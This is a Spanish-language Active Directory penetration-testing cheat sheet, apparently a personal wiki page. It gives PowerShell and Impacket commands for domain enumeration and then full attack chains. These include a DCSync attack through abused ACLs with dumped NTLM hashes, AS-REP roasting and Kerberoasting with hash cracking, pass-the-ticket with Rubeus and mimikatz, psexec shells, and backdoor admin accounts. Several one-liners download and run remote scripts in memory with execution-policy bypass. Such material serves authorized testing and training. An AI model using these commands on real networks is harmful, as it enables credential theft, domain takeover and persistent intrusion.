Herramientas
Antes de ejecutar scripts de powershell que normalmente son identificados como maliciosos, se recomienda ejecutar el siguiente bypass o
ADModule
https://learn.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps
https://github.com/samratashok/ADModule
Copiar Import-Module C:\AD\Tools\ADModule\Microsoft.ActiveDirectory.Management.dll
Import-Module C:\AD\Tools\ADModule\ActiveDirectory\ActiveDirectory.psd1
PowerView
https://github.com/ZeroDayLab/PowerSploit/blob/master/Recon/PowerView.ps1
Copiar git clone https://github.com/PowerShellMafia/PowerSploit.git
Copiar iex ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/ZeroDayLab/PowerSploit/refs/heads/master/Recon/PowerView.ps1'))
Copiar iex ((New-Object Net.WebClient).DownloadString('http://192.168.1.100/PowerView.ps1'))
Antes habrá que habilitar la ejecución de scripts: #habilitar-ejecucion-de-scripts
Luego, se carga PowerView:
Copiar cd PowerSploit\Recon
. .\PowerView.ps1
Copiar . C:\AD\Tools\PowerSploit\Recon\PowerView.ps1
One liner - Descarga y ejecución del script:
Copiar powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1')"
SharpView
ADExplorer
https://learn.microsoft.com/es-es/sysinternals/downloads/adexplorer
ADRecon
https://github.com/adrecon/ADRecon
ADAPE
https://github.com/hausec/ADAPE-Script
Copiar ADAPE.ps1 -All
ADAPE.ps1 -Inv
ADAPE.ps1 -Kerberoast
ADAPE.ps1 -Bloodhound
ADAPE.ps1 -GPP
ADAPE.ps1 -PrivEsc
ADAPE.ps1 -PView
Ping Castle
https://www.pingcastle.com/download/
Enumeración manual
Dominio
Obtener dominio actual
Copiar [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
Obtener objeto de otro dominio
Copiar Get-Domain -Domain xtormincorp.local
Copiar Get-ADDomain -Identity xtormincorp.local
Obtener SID del dominio actual
Copiar Get-Domain -Domain xtormincorp.local
Copiar Get-ADDomain -Identity xtormincorp.local
Obtener todos los dominios
Copiar Get-ForestDomain -Verbose
Copiar (Get-ADForest).Domains
Copiar [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
Obtener relación de confianza del dominio
Copiar Get-ForestDomaGet-ForestDomain | %{Get-DomainTrust -Domain $_.Name} | ?{$_.TrustAttributes -eq "FILTER_SIDS"}
Get-ForestDomain -Forest eurocorp.local | %{Get-DomainTrust -Domain $_.Name}
Get-DomainTrust | ?{$_.TrustAttributes -eq "FILTER_SIDS"}
Copiar Get-ADTrust -Filter *
Get-ADForest | %{Get-ADTrust -Filter *}
(Get-ADForest).Domains | %{Get-ADTrust -Filter '(intraForest -ne $True) -and (ForestTransitive -ne $True)' -Server $_}
Get-ADTrust -Filter '(intraForest -ne $True) -and(ForestTransitive -ne $True)'
Get-ADTrust -Filter * -Server xtormincorp.local
Política del dominio
Obtener la política del dominio actual
Copiar Get-DomainPolicyData
(Get-DomainPolicyData).systemaccess
Obtener la política de otro dominio
Copiar (Get-DomainPolicyData -domain
moneycorp.local).systemaccess
Controladores de dominio
Obtener controladores de dominio del dominio actual
Copiar Get-DomainController
Copiar Get-ADDomainController
Copiar $domain="xtormincorp.local"
nslookup $domain
nslookup -type=srv _ldap._tcp.dc._msdcs.$domain
nltest /dclist:$domain
Obtener controladores de dominio del otro dominio
Copiar Get-DomainController -Domain xtormincorp.local
Copiar Get-ADDomainController -DomainName moneycorp.local -
Discover
Usuarios
Obtener una lista de usuarios del dominio actual
Copiar Get-DomainUser
Get-DomainUser | select -ExpandProperty samaccountname
Copiar Get-ADUser -Filter * -Properties *
Obtener información/propiedades de un usuario
Copiar Get-DomainUser -Identity xtormin
Get-DomainUser | Where-Object { $_.Name -like "*teresa*" }
Get-DomainUser | Where-Object { $_.DisplayName -like "*teresa*" }
Get-DomainUser -Identity xtormin -Properties *
Get-DomainUser -Properties samaccountname,logonCount
Copiar Get-ADUser -Identity xtormin -Properties *
Get-ADUser -Filter * -Properties * | select -First 1 | Get-Member -MemberType *Property | select Name
Get-ADUser -Filter * -Properties * | select name,logoncount,@{expression={[datetime]::fromFileTime($_.pwdlastset)}}
Grupos
Obtener grupos
Copiar Get-DomainGroup
Get-DomainGroup | select -ExpandProperty samaccountname
Equipos / Servidores
Obtener equipos/servidores
Copiar Get-DomainComputer
Get-DomainComputer | select -ExpandProperty dnshostname
Unidades organizativas
Obtener unidades organizativas
Copiar Get-DomainOU
Get-DomainOU | select -ExpandProperty name
Get-NetOU -FullData
Obtener todos los equipos asociados a una unidad organizativa
Copiar $OUName="<Nombre de la OU>"
(Get-DomainOU -Identity $OUName).distinguishedname | %{Get-DomainComputer -SearchBase $_} | select name
Obtener GPLink asociada a una unidad organizativa
Copiar $OUName="<Nombre de la OU>"
(Get-DomainOU -Identity $OUName).gplink
$CN="{7378F170-3A0C-490C-B355-1E4618BC785D}"
Get-DomainGPO -Identity $CN
El siguiente comando une los dos anteriores en uno:
Copiar $OUName="<Nombre de la OU>"
Get-DomainGPO -Identity (Get-DomainOU -Identity $OUName).gplink.substring(11,(Get-DomainOU -Identity $OUName).gplink.length-72)
ACL - Listas de control de acceso
Obtener las ACLs de un grupo
Copiar Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs -Verbose
Get-ObjectAcl -SamAccountName <AccountName> -ResolveGUIDs
Get-ObjectAcl -ADSprefix 'CN=Administrator, CN=Users' -Verbose
Obtener ACLs que podrían ser interesantes
Copiar Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}
Invoke-ACLScanner -ResolveGUIDs
Get-PathAcl -Path "\\files.xtormincorp.local\share"
GPO
Se enumera información sobre las políticas de grupo e información de la configuración del usuario. Como los grupos de seguridad a los que pertenece, versión del sistema operativo, nombre de dominio, etc.
Copiar Get-NetGPO
Get-NetGPO -ComputerName <equipo>
Get-NetGPOGroup
Find-GPOComputerAdmin -ComputerName <equipo>
Sesiones activas
Enumerar las sesiones de todas las máquinas remotas:
Invoke-SessionHunter
https://github.com/Leo4j/Invoke-SessionHunter
Copiar . .\Invoke-SessionHunter.ps1
Copiar Invoke-SessionHunter -NoPortScan -RawResults | select Hostname,UserSession,Access
Copiar HostName UserSession Access
-------- ----------- ------
xcorp-appsrv xcorp\appadm False
xcorp-ci xcorp\ciadmi False
eu-dc EU\Administrator False
xcorp-adminsrv xcorp\appadm True
xcorp-adminsrv crm\srvadmin True
xcorp-adminsrv xcorp\websvc True
Si se quiere realizar lo mismo, pero contra una lista de hosts en concreto:
Copiar PS C:\AD\Tools> cat hosts.txt
FILESERVER
DC01
GESTION
CRM
Copiar Invoke-SessionHunter -NoPortScan -RawResults -Targets C:\AD\Tools\hosts.txt | select Hostname,UserSession,Access
Ejemplo de acceso remoto:
Copiar winrs -r:crm cmd /c "set computername && set username"
PowerView
Copiar iex ((New-Object Net.WebClient).DownloadString('http://172.16.100.X/PowerView.ps1'))
Copiar iex ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Recon/PowerView.ps1'))
Copiar Find-DomainUserLocation
Copiar UserDomain : xtormincorp
UserName : srvadmin
ComputerName : crm.xtormincorp.local
IPAddress : 192.168.1.10
SessionFrom :
SessionFromName :
LocalAdmin :
Acceso remoto:
Copiar winrs -r:dcorp-mgmt hostname;whoami
winrs -r:crm cmd /c "set computername && set username"
Shares
Copiar Find-DomainShare
Find-DomainShare -CheckShareAccess
Registro de información esencial
Copiar $OUTFOLDER="C:\Pentest\Enum"
mkdir $OUTFOLDER
Get-DomainUser | select -ExpandProperty samaccountname > $OUTFOLDER"\AD_users_list.txt"
Get-DomainGroup | select -ExpandProperty samaccountname > $OUTFOLDER"\AD_groups_list.txt"
Get-DomainComputer | select -ExpandProperty dnshostname > $OUTFOLDER"\AD_computers_list.txt"
Get-DomainOU | select -ExpandProperty name > $OUTFOLDER"\AD_OUs_list.txt"
Enumeración automatizada
BloodHound
https://github.com/BloodHoundAD/BloodHound
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux
Copiar apt install bloodhound
sudo neo4j console
Copiar http://localhost:7474/
"Upload data" e importar el fichero .zip
Ejecución de SharpHound
Windows Kali
Copiar cd C:\Users\<usuario>\appdata\local\temp
Si es posible descargar SharpHound directamente al equipo víctima, se usará el método de transferencia posible y se ejecutará el script:
Copiar git clone https://github.com/BloodHoundAD/BloodHound.git
cd Collectors
. .\SharpHound.ps1
Copiar Invoke-BloodHound -CollectionMethod All -v 2
Invoke-BloodHound -CollectionMethod All -domain xtormincorp.local -ldapuser <usuario> -ldappass <contraseña> -v 2
Si no se puede descargar desde el propio equipo windows por no contar con acceso a internet, se puede descargar SharpHound.ps1 usando un servidor temporal desde un equipo que se encuentre en la misma red que el equipo víctima Windows.
Servidor temporal Descarga de ficheros
Ejemplo de servidor temporal:
Copiar git clone https://github.com/BloodHoundAD/BloodHound.git
cd Collectors
python3 -m http.server 8000
Ejemplo de descarga del fichero:
Copiar iwr https://192.168.1.110/SharpHound.ps1
Vulnerabilidades
ADCS - Certificados vulnerables
https://github.com/GhostPack/Certify?tab=readme-ov-file#compile-instructions
Binarios complilados: https://github.com/r3motecontrol/Ghostpack-CompiledBinaries.git
Copiar Certify.exe find /vulnerable
DCsync
Este ataque permite pretender ser un controlador de dominio y solicitar datos de contraseña de cualquier usuario. Esto puede ser utilizado por un atacante para obtener el hash NTLM de cualquier cuenta, incluida la cuenta KRBTGT, que permite a los atacantes crear Golden Tickets .
Por ejemplo:
Si un usuario SVC-TEST
es miembro de SERVICE ACCOUNTS
, PRIVILAGED IT ACCOUNTS
y ACCOUNTS OPERATORS
.
Los miembros del grupo ACCOUNT OPERATORS
tienen privilegios GenericAll sobre el grupo EXCHANGE WINDOWS PERMISSIONS
. Esto significa que tenemos control total para manipular cualquier objeto de destino.
Los miembros del grupo EXCHANGE WINDOWS PERMISSIONS
tienen permisos de escritura sobre DACL (Discretionary Access Control List) en el dominio XTORMINCORP.LOCAL
. Esto significa que podemos otorgarnos el privilegio de DcSync .
Con este privilegio se podría llevar acabo un ataque de DCSync .
Teniendo en cuenta este ejemplo, se crea un usuario en el dominio y se le añade al grupo que cuenta con privilegios de escritura sobre DACL:
Copiar net user xtormin xtormin /add /domain
net group "Exchange Windows Permissions" xtormin /add /domain
net group "Exchange Windows Permissions"
Se le da permisos de DCSync al usuario creado:
Copiar $SecPassword = ConvertTo-SecureString 'xtormin' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('XTORMINCORP\xtormin', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=xtormincorp,DC=local" -PrincipalIdentity xtormin -Rights DCSync
Y se obtienen los hashes de los usuarios:
Copiar impacket-secretsdump xtormincorp.local/xtormin:xtormin@192.168.1.100
Copiar Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
xtormincorp.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 :::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xtormincorp.local\$331000-VK4ADACQNUCA:1123:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Con netexec se puede verificar a qué hosts tiene acceso el usuario administrador haciendo uso del hash obtenido anteriormente:
Copiar netexec smb 192.168.1.100 -u <usuario> -H <nthash>
netexec smb 192.168.1.100 -u administrator -H 32693b11e6aa90eb43d32c72a07ceea6
Se obtiene una shell usando psexec:
Copiar impacket-psexec -hashes 32693b11e6aa90eb43d32c72a07ceea6:32693b11e6aa90eb43d32c72a07ceea6 administrator@192.168.1.100
AS-REP Roasting - Autenticación de kerberos no requerida
Este ataque explota cuentas que no requieren la preautenticación Kerberos. Si un usuario tiene esta opción deshabilitada, un atacante puede solicitar un ticket de autenticación (TGT) para ese usuario y recibir un mensaje cifrado con su contraseña, que puede ser crackeado offline.
Copiar impacket-GetNPUsers -no-pass -dc-ip <IP del DC> <dominio>/<usuario>
Copiar for user in $(cat creds/usernames.txt); do impacket-GetNPUsers -no-pass -dc-ip 192.168.1.10 xtormincorp/${user} | grep -v Impacket; done
Copiar [*] Getting TGT for svc-test
$krb5asrep$23$svc-test@xtormincorp:cbff56c80b6fcdc606dcc6d77227dc61$df6fa78117764a7a1427dbb0e65ae2da0eb0609d7ac234bd148e102810d2a6780f8f776dc9f2738e4b99c68874bad02e1dd4b453ac6b98e6efa8f3ab429d1f3dd2e257e3e1f989716fb91cfcea56895b827a8dd2515c417b8a60a905e58c0f6c9908772bb5dd9feb450a24b55a713fa60eba4b4ccf41f626771fd294b0c690e1b35b4f5b0b02278b687ad89bb91418ce8b3ddfbd004a924f302c6f241ab745fb5f3f429be8e455ab5cefc35967f62898dce3475e0cdb001138eda1e530e33a73b0a63e2839f70f01b202318f467f426ea87e0425cf7ac475ce17a73b885c8f94
Se crea un fichero "svc-test.hc18200" con el contenido del ticket:
Copiar $krb5asrep$23$svc-test@xtormincorp:cbff56c80b6fcdc606dcc6d77227dc61$df6fa78117764a7a1427dbb0e65ae2da0eb0609d7ac234bd148e102810d2a6780f8f776dc9f2738e4b99c68874bad02e1dd4b453ac6b98e6efa8f3ab429d1f3dd2e257e3e1f989716fb91cfcea56895b827a8dd2515c417b8a60a905e58c0f6c9908772bb5dd9feb450a24b55a713fa60eba4b4ccf41f626771fd294b0c690e1b35b4f5b0b02278b687ad89bb91418ce8b3ddfbd004a924f302c6f241ab745fb5f3f429be8e455ab5cefc35967f62898dce3475e0cdb001138eda1e530e33a73b0a63e2839f70f01b202318f467f426ea87e0425cf7ac475ce17a73b885c8f94
Se intenta crackear el hash, por ejemplo, con un diccionario:
Copiar hashcat -m 18200 hash/svc-test.hc18200 /usr/share/wordlists/rockyou.txt --force
Kerberoasting
Se solicita un TGS (Ticket Granting Service) para las cuentas de servicio que tienen SPNs asociados y se crackean los tickets para obtener la contraseña. El éxito del ataque dependerá de la complejidad de la contraseña del servicio.
Enumeración de cuentas con SPN:
Copiar Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -
Properties ServicePrincipalName
Get-DomainUser -SPN
Copiar john.exe --wordlist=C:\AD\Tools\kerberoast\10kworst-pass.txt C:\AD\Tools\hashes.txt
Pass the Ticket - PTT
https://github.com/GhostPack/Rubeus
Windows
Opción 1: Se añade el ticket directamente en Base64:
Copiar .\Rubeus.exe ptt /ticket:<Base64Ticket>
Opción 2: Se decodifica el código en Base64 en un fichero .kirbi que luego será inyectado desde la herramienta mimikatz:
Copiar [IO.File]::WriteAllBytes("C:\Users\xtormin\Desktop\teresa.kirbi", [Convert]::FromBase64String("<Base64Ticket>"))
Copiar kerberos:ptt C:\Users\xtormin\Desktop\teresa.kirbi
Opción 3: Se crea un ticket TGT haciendo uso del hash del usuario:
Copiar C:\AD\Tools\Rubeus.exe -args asktgt /user:<usuario> /aes256:<hash> /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
C:\AD\Tools\Rubeus.exe -args asktgt /user:useradmin /aes256:6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca2835067719dc7011 /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
Se enumeran los tickets disponibles:
Se inicia sesión:
Copiar .\PsExec.exe -accepteula \\RET1.serviat.es powershell
Linux
https://github.com/SolomonSklash/RubeusToCcache
Copiar python rubeustoccache.py <Base64Ticket> ticket.kirbi ticket.ccache
Copiar export KRB5CCNAME=ticket.ccache
Copiar psexec.py <dominio>/<usuario>@<máquina> -k -no-pass
smbexec.py <dominio>/<usuario>@<máquina> -k -no-pass
wmiexec.py <dominio>/<usuario>@<máquina> -k -no-pass
Copiar smbexec.py xtormincorp.local/xtormin@DC01.xtormincorp.local -k -no-pass
Persistencia
Creación de usuarios
Creación de un usuario administrador:
Copiar net user xtormin "password" /add
net localgroup Administradores xtormin /add
Casos de ataque
Ejemplo 1 - Máquinas con acceso privilegiado + PTT
(aka. Derivative Local Admin + PTT)
Teniendo un acceso previo con un "Usuario A" del dominio sin privilegios en la "Máquina A":
Se enumeran todas las máquinas en las que se tiene acceso de administrador local "Find-LocalAdminAccess ".
Copiar . C:\AD\Tools\Find-PSRemotingLocalAdminAccess.ps1
Find-PSRemotingLocalAdminAccess
Se obtiene una "Máquina B" y se accede vía PSExec , SMBExec, etc.
Copiar psexec.py <dominio>/<usuario>@<máquina> -k -no-pass
Se extraen los tickets disponibles en la máquina, por ejemplo, haciendo uso de Rubeus o Mimikatz.
Se carga el ticket krbtgt de un "Usuario B" (de la "Máquina B") en la "Máquina A" (dentro del dominio) o en una "Máquina C" (fuera del dominio).
#kerberos-pass-the-ticket-ptt
Se accede a la "Máquina B" con el ticket, suplantando la identidad del "Usuario B".
Referencias